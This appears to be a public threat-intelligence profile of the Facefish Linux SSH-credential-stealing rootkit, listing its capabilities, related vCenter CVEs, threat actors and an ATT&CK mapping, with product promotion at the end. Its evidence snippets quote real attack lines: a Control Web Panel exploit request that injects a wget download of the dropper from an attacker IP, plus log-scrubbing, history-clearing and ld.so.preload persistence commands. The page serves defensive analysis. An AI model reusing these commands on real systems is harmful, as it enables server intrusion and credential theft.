Skip to main content
Mallory
Malware4 associated actors2 associated CVEs

Facefish

Tracked since Dec 2, 2025 · Updated 3 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns2Associated
Actors4Associated
ATT&CK20Techniques
IOCs169Tracked
Type
Rootkit
Capabilities
Credential theftExfiltrationPersistencePost exploitationDefense evasionReconnaissance
Platforms
Linux

Facefish is a Linux user-space rootkit and backdoor that provides persistent remote access and steals SSH authentication information. It consists of a dropper and a shared-library rootkit targeting OpenSSH on 64-bit Linux systems. The rootkit abuses LD_PRELOAD to load into dynamically linked processes and hooks functions in SSH clients and servers to capture login credentials. Installation includes configuring persistent library preloading and restarting SSH services to activate the implant.

Facefish collects system information, including hardware, network, and SSH-related configuration data, and sends stolen credentials to its command-and-control infrastructure. Its backdoor functionality supports arbitrary command execution, reverse shells, and renewed host-information collection. Command-and-control communications use Diffie–Hellman key exchange and Blowfish encryption. Analyzed droppers employ UPX packing, encrypted configuration data, erased ELF section information, and randomized configuration encryption that changes the resulting rootkit hash between installations. Observed installation chains also remove execution traces from logs and shell history.

Facefish has been deployed following exploitation of Control Web Panel vulnerabilities and through web shells on VMware vCenter servers compromised using CVE-2021-21972 and CVE-2021-22005. Observed users include the hacktivist group Twelve and Shedding Zmiy, a threat cluster associated with Cobalt/ExCobalt. Modified Facefish implants have been used for persistence on Linux servers in intrusions affecting Russian government and municipal organizations.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2021-22005via securelistExploited in the wildUnauthenticated Remote Code Execution in VMware vCenter Server Analytics ServiceAn incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform. ... the latter is an arbitrary file upload vulnerability in the server. | An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.View vulnerability →Source ↗
CVE-2021-21972via securelistExploited in the wildUnauthenticated Remote Code Execution in VMware vSphere ClientAn incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform. The former vulnerability can be found in the platform’s client and allows remote code execution. | An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.View vulnerability →Source ↗
Threat actors

Associated threat actors

4 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
(ex)Cobalt

Modified FaceFish libraries were found at /lib64/libs.so and /usr/lib64/libs.so, with persistence through /etc/ld.so.preload.

via rt solarrt-solar.ru
Shedding Zmiy

Modified FaceFish libraries were found at /lib64/libs.so and /usr/lib64/libs.so, with persistence through /etc/ld.so.preload.

via rt solarrt-solar.ru
Twelve

An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.

via securelistsecurelist.com
ExCobalt

...prior iterations known as Facefish (February 2021), Kitsune (February 2022), and Megatsune (November 2023).

via the hacker newsthehackernews.com
MITRE ATT&CK

Techniques & procedures

20 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique
T1190Exploit Public-Facing ApplicationEvidence3

Propagation method The vulnerabilities exploited in the wild are shown below POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;...

Execution

3 techniques
T1059Command and Scripting InterpreterEvidence1

Accept command 0x302, reverse shell. | Accept command 0x310, execute any system command Send instruction 0x311 to return the result of bash execution

T1059.004Unix ShellEvidence1

POST /admin/index.php?...&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;...

T1574.006Dynamic Linker HijackingEvidence2

works at the Ring3 layer and is loaded using the LD_PRELOAD feature... Write the Rootkit configured in the previous stage to the /lib64/libs.so file, and write the following to /etc/ld.so.preload to realize the Rootkit preload.

Persistence

3 techniques
T1505.003Web ShellEvidence1

we discovered a large number of web shells... All the web shells were written in PHP and bore random names

T1543Create or Modify System ProcessEvidence1

Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application /etc/init.d/sshd restart /etc/rc.d/sshd restart service ssh restart systemctl restart ssh systemctl restart sshd.service

T1556Modify Authentication ProcessEvidence1

HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials

Privilege Escalation

1 technique
T1543Create or Modify System ProcessEvidence1

Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application /etc/init.d/sshd restart /etc/rc.d/sshd restart service ssh restart systemctl restart ssh systemctl restart sshd.service

Stealth

5 techniques
T1014RootkitEvidence2

The ELF sample file ... is a Dropper, which releases a Rootkit... Facefish consists of 2 parts, Dropper and Rootkit... loaded using the LD_PRELOAD feature

T1070Indicator RemovalEvidence1

sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; history -c

T1070.003Clear Command HistoryEvidence1

history -c

T1070.004File DeletionEvidence1

rm -rf /usr/bin/sshins;

T1574.006Dynamic Linker HijackingEvidence2

works at the Ring3 layer and is loaded using the LD_PRELOAD feature... Write the Rootkit configured in the previous stage to the /lib64/libs.so file, and write the following to /etc/ld.so.preload to realize the Rootkit preload.

Defense Impairment

2 techniques
T1222File and Directory Permissions ModificationEvidence1

chmod 0777 /usr/bin/sshins;

T1556Modify Authentication ProcessEvidence1

HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials

Credential Access

2 techniques
T1528Steal Application Access TokenEvidence1

its main function is to hook ssh/sshd program related functions, and it also supports some backdoor functions... steal user login credentials

T1556Modify Authentication ProcessEvidence1

HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials

Discovery

3 techniques
T1016System Network Configuration DiscoveryEvidence1

start collecting host information, including: CPU model, Arch, memory size, hard disk size... Network device

T1033System Owner/User DiscoveryEvidence1

Collect uname information, group packets and send 0x301

T1082System Information DiscoveryEvidence1

start collecting host information, including: CPU model, Arch, memory size, hard disk size, ssh service related configuration file and credential data.

Command and Control

4 techniques
T1071Application Layer ProtocolEvidence1

bot sends 0x305 command to C2... receives and decrypts a C2 command, and then disconnects the TCP connection.

T1105Ingress Tool TransferEvidence1

the main function is to download the payload of the first stage of execution, and then clean up the traces. cd /usr/bin; /usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; chmod 0777 /usr/bin/sshins;

T1219Remote Access ToolsEvidence1

The main functions of Facefish are Upload device information Stealing user credentials Bounce Shell Execute arbitrary commands

T1573Encrypted ChannelEvidence1

uses Diffie-Hellman exchange keys, Blowfish encrypted network communication... Rootkit's communication process uses DH (Diffie–Hellman) key exchange protocol/algorithm for key exchange, and BlowFish is used for communication data encryption

Indicators of compromise

Observables

169 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+4 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching169Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors4Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities2CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping20Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.